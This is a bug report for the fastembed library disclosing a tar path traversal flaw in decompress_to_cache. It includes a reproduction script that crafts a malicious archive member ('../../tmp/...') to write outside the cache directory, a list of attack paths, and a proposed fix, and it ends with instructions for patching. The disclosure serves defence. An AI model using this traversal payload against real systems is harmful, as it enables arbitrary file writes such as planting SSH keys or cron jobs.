[Bug]: Tar path traversal (Zip Slip) in decompress_to_cache — arbitrary file write outside cache directory

Summary

The decompress_to_cache method uses tarfile.extractall() without sanitizing member paths, making it vulnerable to Zip Slip / Tar Slip (CVE-2007-4559 class). A malicious tar archive can write files to arbitrary locations outside cache_dir.

Note: This is related to but distinct from #327, which tracks the DeprecationWarning/platform compatibility aspect. This issue specifically addresses the security vulnerability — path traversal allowing arbitrary file writes.

Affected Code

File: fastembed/common/model_management.py, lines 304–311

@classmethod
def decompress_to_cache(cls, targz_path: str, cache_dir: str) -> str:
    # ...
    with tarfile.open(targz_path, "r:gz") as tar:
        tar.extractall(
            path=cache_dir,   # No filter, no member sanitization
        )

Reproduction

import tarfile, os, tempfile, io

# Create a malicious tar that writes outside the intended directory
with tempfile.NamedTemporaryFile(suffix='.tar.gz', delete=False) as f:
    evil_tar = f.name

with tarfile.open(evil_tar, 'w:gz') as tar:
    payload = b"PWNED"
    info = tarfile.TarInfo(name="../../tmp/fastembed_pwned.txt")
    info.size = len(payload)
    tar.addfile(info, io.BytesIO(payload))

# Call decompress_to_cache with this tar
cache_dir = tempfile.mkdtemp()
from fastembed.common.model_management import ModelManagement
ModelManagement.decompress_to_cache(evil_tar, cache_dir)

# File written outside cache_dir:
print(os.path.exists("/tmp/fastembed_pwned.txt"))  # True

Attack Surface

• Custom model URLs via add_custom_model() pointing to attacker-controlled servers
• Compromised HuggingFace repos or GCS buckets (supply chain attack)
• MITM on HTTP redirects

Impact

• Arbitrary file write to any path writable by the process (SSH keys, cron jobs, Python packages, shell configs)
• On Python 3.14, the default filter changes to 'data', which will silently change extraction behavior and may break existing archives

Suggested Fix

Add path filtering to block traversal:

@classmethod
def decompress_to_cache(cls, targz_path: str, cache_dir: str) -> str:
    with tarfile.open(targz_path, "r:gz") as tar:
        # Python 3.12+: use filter='data' to block traversal
        # Python 3.11 and earlier: manual sanitization
        try:
            tar.extractall(path=cache_dir, filter='data')
        except TypeError:
            # Python < 3.12 fallback
            for member in tar.getmembers():
                member_path = os.path.realpath(os.path.join(cache_dir, member.name))
                if not member_path.startswith(os.path.realpath(cache_dir) + os.sep):
                    raise ValueError(f"Unsafe tar member path: {member.name}")
            tar.extractall(path=cache_dir)

Found via automated codebase analysis. Confirmed independently by three reviewers (Claude, Codex, Gemini).

Start in fastembed/common/model_management.py at decompress_to_cache, around lines 304–311, and run the tar traversal reproduction from the issue. Check the supported Python versions and the existing extraction behavior before applying the suggested filtering approach. Done means a malicious member cannot write outside cache_dir while valid archives still extract correctly.